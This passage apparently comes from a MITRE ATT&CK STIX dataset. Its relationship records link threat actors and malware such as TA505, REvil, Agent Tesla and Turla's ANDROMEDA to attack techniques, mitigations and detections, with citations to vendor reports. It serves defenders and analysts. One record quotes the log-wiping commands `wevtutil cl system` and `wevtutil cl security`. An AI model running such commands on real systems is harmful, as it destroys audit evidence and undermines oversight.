2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T20:17:22.366Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) clears Windows Event Logs following activity to evade defenses.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--49cf55fb-437d-439d-aeb7-466de585a0ed","created":"2023-05-24T19:02:32.337Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:52:50.143Z","description":"[ANDROMEDA](https://attack.mitre.org/software/S1074) has been installed to `C:\\Temp\\TrustedInstaller.exe` to mimic a legitimate Windows installer service.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--dcd9548e-df9e-47c2-81f3-bc084289959d","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49d09bc3-cdc0-479b-8516-f64bff9b6757","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN7 April 2017","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"},{"url":"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html","description":"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.","source_name":"FireEye FIN7 Aug 2018"}],"modified":"2019-06-30T23:13:18.592Z","description":"(Citation: FireEye FIN7 April 2017)(Citation: FireEye FIN7 Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"malware--0ced8926-914e-4c78-bc93-356fb90dbd1f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49d115fb-7a5a-4a6a-959d-0d76ab8394fb","type":"relationship","created":"2020-03-17T19:28:58.355Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CitizenLab KeyBoy Nov 2016","url":"https://citizenlab.ca/2016/11/parliament-keyboy/","description":"Hulcoop, A., et al. (2016, November 17). It’s Parliamentary KeyBoy and the targeting of the Tibetan Community. Retrieved June 13, 2019."}],"modified":"2020-03-17T19:28:58.355Z","description":"[KeyBoy](https://attack.mitre.org/software/S0387) uses Python scripts for installing files and performing execution.(Citation: CitizenLab KeyBoy Nov 2016)","relationship_type":"uses","source_ref":"malware--5dd649c0-bca4-488b-bd85-b180474ec62e","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49d40f3b-33b4-424c-a645-82d2a84e5c28","type":"relationship","created":"2020-02-21T22:16:10.099Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-06-20T22:25:55.462Z","description":"Restrict the permissions on sensitive files such as /proc/[pid]/maps or /proc/[pid]/mem. ","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49d50fde-cfbc-4007-befc-f4b22b9bc9f5","type":"relationship","created":"2020-08-11T21:15:35.458Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-08-11T21:15:35.458Z","description":"[RDAT](https://attack.mitre.org/software/S0495) can take a screenshot on the infected system.(Citation: Unit42 RDAT July 2020)\t","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49d6508c-f350-4376-ba32-f64693d7fd10","type":"relationship","created":"2019-05-28T18:49:59.356Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter","source_name":"Proofpoint TA505 Sep 2017"},{"description":"Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times","source_name":"Proofpoint TA505 June 2018"},{"source_name":"Proofpoint TA505 Jan 2019","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."},{"description":"Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.","url":"https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware","source_name":"Cybereason TA505 April 2019"},{"description":"Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat","source_name":"ProofPoint SettingContent-ms July 2018"},{"description":"Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware","source_name":"Proofpoint TA505 Mar 2018"},{"source_name":"Trend Micro TA505 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/","description":"Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."},{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."},{"source_name":"IBM TA505 April 2020","url":"https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/","description":"Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}],"modified":"2020-06-01T15:46:48.052Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used lures to get users to enable content in malicious attachments and execute malicious files contained in archives. For example, [TA505](https://attack.mitre.org/groups/G0092) makes their malware look like legitimate Microsoft Word documents, .pdf and/or .lnk files. (Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)(Citation: Cybereason TA505 April 2019)(Citation: ProofPoint SettingContent-ms July 2018)(Citation: Proofpoint TA505 Mar 2018)(Citation: Trend Micro TA505 June 2019)(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--49d855a1-c53c-4a96-a25c-d746964b7d37","created":"2024-08-27T19:04:12.688Z","revoked":false,"external_references":[{"source_name":"Lumen Versa 2024","description":"Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.","url":"https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-27T19:04:12.688Z","description":"[VersaMem](https://attack.mitre.org/software/S1154) was used by [Volt Typhoon](https://attack.mitre.org/groups/G1017) as part of [Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039).(Citation: Lumen Versa 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"malware--0a6ec267-83a9-41a5-98c7-57c3ff81e11f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49dbde7a-a8ac-4d86-8216-1055f7536467","type":"relationship","created":"2019-09-24T14:19:05.140Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:01.838Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) has a command to open a file manager and explorer on the system.(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49dcbb09-c4d8-4ade-8429-94afe0b9747b","type":"relationship","created":"2020-08-04T15:35:30.379Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"G Data Sodinokibi June 2019","url":"https://www.gdatasoftware.com/blog/2019/06/31724-strange-bits-sodinokibi-spam-cinarat-and-fake-g-data","description":"Han, Karsten. (2019, June 4). Strange Bits: Sodinokibi Spam, CinaRAT, and Fake G DATA. Retrieved August 4, 2020."},{"source_name":"Picus Sodinokibi January 2020","url":"https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware","description":"Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020."}],"modified":"2020-08-05T17:26:24.548Z","description":"[REvil](https://attack.mitre.org/software/S0496) has used obfuscated VBA macros for execution.(Citation: G Data Sodinokibi June 2019)(Citation: Picus Sodinokibi January 2020)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--49dd9dc3-b0b8-499f-8fad-177779d494df","created":"2022-10-13T17:45:16.267Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T17:45:16.267Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used [Wevtutil](https://attack.mitre.org/software/S0645) to delete system and security event logs with `wevtutil cl system` and `wevtutil cl security`.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"tool--f91162cc-1686-4ff8-8115-bf3f61a4cc7a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--49df789a-5d6c-4820-af9f-7c4484531680","created":"2022-01-05T22:19:18.237Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes Konni Aug 2021","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022.","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T01:45:11.170Z","description":"[KONNI](https://attack.mitre.org/software/S0356) is heavily obfuscated and includes encrypted configuration files.(Citation: Malwarebytes Konni Aug 2021)","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49e6c2b4-7f2c-4a67-8e6e-82c06831ea5f","type":"relationship","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.867Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49eb0604-2dee-4dcd-8029-cdd478033749","type":"relationship","created":"2019-04-17T13:46:38.895Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Astaroth Feb 2019","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research","description":"Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019."}],"modified":"2019-09-09T19:23:37.338Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) can be loaded through regsvr32.exe.(Citation: Cybereason Astaroth Feb 2019)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49eef071-24e0-456b-b4e7-618ab601c6f4","type":"relationship","created":"2020-08-25T20:11:53.268Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NSA/FBI Drovorub August 2020","url":"https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF","description":"NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."}],"modified":"2020-08-25T20:11:53.268Z","description":"[Drovorub](https://attack.mitre.org/software/S0502) can execute arbitrary commands as root on a compromised system.(Citation: NSA/FBI Drovorub August 2020)","relationship_type":"uses","source_ref":"malware--99164b38-1775-40bc-b77b-a2373b14540a","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49efe6c7-aec6-4e54-bc7d-212816e23347","type":"relationship","created":"2019-01-29T18:44:05.140Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DigiTrust Agent Tesla Jan 2017","url":"https://www.digitrustgroup.com/agent-tesla-keylogger/","description":"The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."},{"description":"Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html","source_name":"Talos Agent Tesla Oct 2018"}],"modified":"2020-03-18T19:25:30.321Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) can access the victim’s webcam and record video.(Citation: DigiTrust Agent Tesla Jan 2017)(Citation: Talos Agent Tesla Oct 2018)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49f2c182-bd69-4874-9102-b5fd1acac59c","type":"relationship","created":"2017-05-31T21:33:27.033Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"}],"modified":"2021-11-01T21:12:14.977Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) transferred compressed and encrypted RAR files containing exfiltration through the established backdoor command and control channel during operations.(Citation: Mandiant Operation Ke3chang November 2014)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--49f2ec3b-a9bf-48c3-b3f0-a80a0d70a2ac","created":"2024-02-22T22:46:20.423Z","revoked":false,"external_references":[{"source_name":"Rostovcev APT41 2021","description":"Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.","url":"https://www.group-ib.com/blog/apt41-world-tour-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-22T22:46:20.423Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used built-in net commands to enumerate local administrator groups.(Citation: Rostovcev APT41 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49f3c807-a801-4cfe-ad1c-6966bea2fc8a","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2019-04-24T17:52:47.819Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can record sound with the microphone.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49f4c3d1-25a1-49e1-af9f-80a4c2eb4bf7","type":"relationship","created":"2019-12-19T19:43:34.930Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-05-19T21:22:38.147Z","description":"Prevent adversary access to privileged accounts or access necessary to perform this technique.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--49f54bdd-564c-43b0-95d7-5300f20d994f","created":"2023-09-05T18:01:19.744Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:34:13.638Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) has the ability to upload additional malicious files to a compromised machine.(Citation: Bitdefender Sardonic Aug 2021)","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49f761f9-89d2-4e6f-a0c6-fc5e32cca471","type":"relationship","created":"2020-06-22T14:58:06.560Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Skidmap","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."}],"modified":"2020-06-25T13:32:00.168Z","description":"[Skidmap](https://attack.mitre.org/software/S0468) has the ability to check if /usr/sbin/setenforce exists. This file controls what mode SELinux is in.(Citation: Trend Micro Skidmap) ","relationship_type":"uses","source_ref":"malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49f9b769-57d1-4d73-8194-59b584a72c1b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Bisonal July 2018","description":"Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"},{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"modified":"2022-01-27T17:33:25.004Z","description":"[Bisonal](https://attack.mitre.org/software/S0268) has decoded strings in the malware using XOR and RC4.(Citation: Unit 42 Bisonal July 2018)(Citation: Talos Bisonal Mar 2020) ","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--49fb7af8-50cf-4af5-9195-40b2351fa6dc","created":"2020-08-27T17:29:04.925Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cycraft Chimera April 2020","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..","url":"https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"},{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.420Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used gzip for Linux OS and a modified RAR software to archive data on Windows hosts.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a007e42-2efb-4ace-aa08-950bbee11df7","type":"relationship","created":"2021-04-09T13:34:37.623Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intezer Doki July 20","url":"https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/","description":"Fishbein, N., Kajiloti, M.. (2020, 